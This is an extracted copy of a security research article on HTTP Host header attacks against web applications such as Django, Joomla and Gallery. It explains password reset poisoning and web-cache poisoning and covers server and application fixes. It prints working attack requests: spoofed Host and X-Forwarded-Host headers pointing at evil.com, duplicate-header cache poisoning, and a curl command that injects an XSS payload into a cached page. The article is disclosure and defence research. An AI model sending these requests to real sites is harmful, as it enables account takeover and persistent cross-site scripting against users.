Practical HTTP Host Header Attacks

Download as pdf or txt
Download as pdf or txt
You are on page 1of 5

Practical HTTP Host header attacks

Password reset and web-cache poisoning


(And a little surprise in RFC-2616)

Introduction
How does a deployable web-application know where it is? Creating a trustworthy absolute
URI is trickier than it sounds. Developers often resort to the exceedingly untrustworthy HTTP
Host header (_SERVER["HTTP_HOST"] in PHP). Even otherwise-secure applications trust
this value enough to write it to the page without HTML-encoding it with code equivalent to:
<link href="http://_SERVER['HOST']" (Joomla)
...and append secret keys and tokens to links containing it:
<a href="http://_SERVER['HOST']?token=topsecret"> (Django,
Gallery, others)
....and even directly import scripts from it:
<script
src="http://_SERVER['HOST']/misc/jquery.js?v=1.4.4"> (Various)
There are two main ways to exploit this trust in regular web applications. The first
approach is web-cache poisoning; manipulating caching systems into storing a page generated
with a malicious Host and serving it to others. The second technique abuses alternative
channels like password reset emails where the poisoned content is delivered directly to the
target. In this post I'll look at how to exploit each of these in the presence of 'secured' server
configurations, and how to successfully secure applications and servers.

Password reset poisoning


Popular photo-album platform Gallery uses a common approach to forgotten password
functionality. When a user requests a password reset it generates a (now) random key:

Places it in a link to the site:

and emails to the address on record for that user. [Full code] When the user visits the link, the
presence of the key proves that they can read content sent to the email address, and thus must
be the rightful owner of the account.
The vulnerability was that url::abs_site used the Host header provided by the person

requesting the reset, so an attacker could trigger password reset emails poisoned with a
hijacked link by tampering with their Host header:
> POST /password/reset HTTP/1.1
> Host: evil.com
> ...
> csrf=1e8d5c9bceb16667b1b330cc5fd48663&name=admin

This technique also worked on Django, Piwik and Joomla, and still works on a few other
major applications, frameworks and libraries that I can't name due to an unfortunate series of
mistakes on my part.
Of course, this attack will fail unless the target clicks the poisoned link in the unexpected
password reset email. There are some techniques for encouraging this click but I'll leave those
to your imagination.
In other cases, the Host may be URL-decoded and placed directly into the email header
allowing mail header injection. Using this, attackers can easily hijack accounts by BCCing
password reset emails to themselves - Mozilla Persona had an issue somewhat like this, back
in alpha. Even if the application's mailer ignores attempts to BCC other email addresses
directly, it's often possible to bounce the email to another address by injecting
\r\nReturn-To: [email protected] followed by an attachment engineered to
trigger a bounce, like a zip bomb.

Cache poisoning
Web-cache poisoning using the Host header was first raised as a potential attack vector by
Carlos Beuno in 2008. 5 years later there's no shortage of sites implicitly trusting the host
header so I'll focus on the practicalities of poisoning caches. Such attacks are often difficult as
all modern standalone caches are Host-aware; they will never assume that the following two
requests reference the same resource:
> GET /index.html HTTP/1.1
> Host: example.com

> GET /index.html HTTP/1.1


> Host: evil.com

So, to persuade a cache to serve our poisoned response to someone else we need to create a
disconnect between the host header the cache sees, and the host header the application sees. In
the case of the popular caching solution Varnish, this can be achieved using duplicate Host
headers. Varnish uses the first host header it sees to identify the request, but Apache
concatenates all host headers present and Nginx uses the last host header[1]. This means that
you can poison a Varnish cache with URLs pointing at evil.com by making the following
request:
> GET / HTTP/1.1
> Host: example.com
> Host: evil.com
Application-level caches can also be susceptible. Joomla writes the Host header to every page
without HTML-encoding it, and its cache is entirely oblivious to the Host header. Gaining
persistent XSS on the homepage of a Joomla installation was as easy as:
curl -H "Host: cow\"onerror='alert(1)'rel='stylesheet'"
http://example.com/ | fgrep cow\"
This will create the following request:

> GET / HTTP/1.1


> Host: cow"onerror='alert(1)'rel='stylesheet'
The response should show a poisoned <link> element:
<link href="http://cow"onerror='alert(1)'rel='stylesheet'/"
rel="canonical"/>
To verify that the cache has been poisoned, just load the homepage in a browser and observe the popup.

'Secured' configurations
So far I've assumed that you can make a HTTP request with an arbitrary Host header arrive
at any application. Given that the intended purpose of the Host header is to ensure that a
request is passed to the correct application at a given IP address, it's not always that simple.
Sometimes it is trivial. If Apache receives an unrecognized Host header, it passes it to the first
virtual host defined in httpd.conf. As such, it's possible to pass requests with arbitrary host
headers directly to a sizable number of applications. Django was aware of this default-vhost
risk and responded by advising that users create a dummy default-vhost to act as a catchall for
requests with unexpected Host headers, ensuring that Django applications never got passed
requests with unexpected Host headers.
The first bypass for this used X-Forwarded-For's friend, the X-Forwarded-Host
header, which effectively overrode the Host header. Django was aware of the cache-poisoning
risk and fixed this issue in September 2011 by disabling support for the X-Forwarded-Host
header by default. Mozilla neglected to update addons.mozilla.org, which I discovered in
April 2012 with the following request:

> POST /en-US/firefox/user/pwreset HTTP/1.1> Host:


addons.mozilla.org
> X-Forwarded-Host: evil.com
Even patched Django installations were still vulnerable to attack. Webservers allow a port to
be specified in the Host header, but ignore it for the purpose of deciding which virtual host to
pass the request to. This is simple to exploit using the ever-useful
http://username:[email protected] syntax:
> POST /en-US/firefox/user/pwreset HTTP/1.1> Host:
addons.mozilla.org:@passwordreset.net
This resulted in the following (admittedly suspicious) password reset link:
https://addons.mozilla.org:@passwordreset.net/users/pwreset/3f6hp/3ab9ae3db614fc0d0d036d4
If you click it, you'll notice that your browser sends the key to passwordreset.net before
creating the suspicious URL popup. Django released a patch for this issue shortly after I
reported it: https://www.djangoproject.com/weblog/2012/oct/17/security/

Unfortunately, Django's patch simply used a blacklist to filter @ and a few other characters.
As the password reset email is sent in plaintext rather than HTML, a space breaks the URL
into two separate links:
> POST /en-US/firefox/users/pwreset HTTP/1.1
> Host: addons.mozilla.org: www.securepasswordreset.com
Django's followup patch ensured that the port specification in the Host header could only
contain numbers, preventing the port-based attack entirely. However, the arguably ultimate
authority on virtual hosting, RFC2616, has the following to say:
5.2 The Resource Identified by a Request
[...]
If Request-URI is an absoluteURI, the host is part of the Request-URI. Any Host header field
value in the request MUST be ignored.
The result? On Apache and Nginx (and all compliant servers) it's possible to route requests
with arbitrary host headers to any application present by using an absolute URI:
> POST https://addons.mozilla.org/en-US/firefox/users/pwreset
HTTP/1.1
> Host: evil.com
This request results in a SERVER_NAME of addons.mozilla.org but a HTTP['HOST'] of
evil.com. Applications that use SERVER_NAME rather than HTTP['HOST']
are unaffected by this particular trick, but can still be exploited on common server
configurations. See HTTP_HOST vs. SERVER_NAME for more information of the
difference between these two variables. Django fixed this in February 2013 by enforcing a
whitelist of allowed hosts. See the documentation for more details. However, these attack
techniques still work fine on many other web applications.

Securing servers

Due to the aforementioned absolute request URI technique, making the Host header itself
trustworthy is almost a lost cause. What you can do is make SERVER_NAME trustworthy.
This can be achieved under Apache (instructions) and Nginx (instructions) by creating a
dummy vhost that catches all requests with unrecognized Host headers. It can also be done
under Nginx by specifying a non-wildcard SERVER_NAME, and under Apache by using a
non-wildcard serverName and turning the UseCanonicalName directive on. I'd recommend
using both approaches wherever possible.
A patch for Varnish should be released shortly. As a workaround until then, you can add the
following to the config file:
import std;
sub vcl_recv {
std.collect(req.http.host);
}

Securing applications
Fixing this issue is difficult, as there is no entirely automatic way to identify which host
names the administrator trusts. The safest, albeit mildly inconvenient solution, is to use
Django's approach of requiring administrators to provide a whitelist of trusted domains during
the initial site setup process. If that is too drastic, at least ensure that SERVER_NAME is used
instead of the Host header, and encourage users to use a secure server configuration.

Further research

More effective / less inconvenient fixes


Automated detection
Exploiting wildcard whitelists with XSS & window.history
Exploiting multipart password reset emails by predicting boundaries
Better cache fuzzing (trailing Host headers?)

Thanks to Mozilla for funding this research via their bug-bounty program, Varnish for the
handy workaround, and the teams behind Django, Gallery, and Joomla for their speedy
patches.
For a discussion of automated detection of this issue, and a demo of web-cache poisoning
against Typo3, see the following video from OWASP AppSec EU: ActiveScan++:
Augmenting manual testing with attack proxy plugins.
Feel free to drop a comment, email or DM me if you have any observations or queries.

You might also like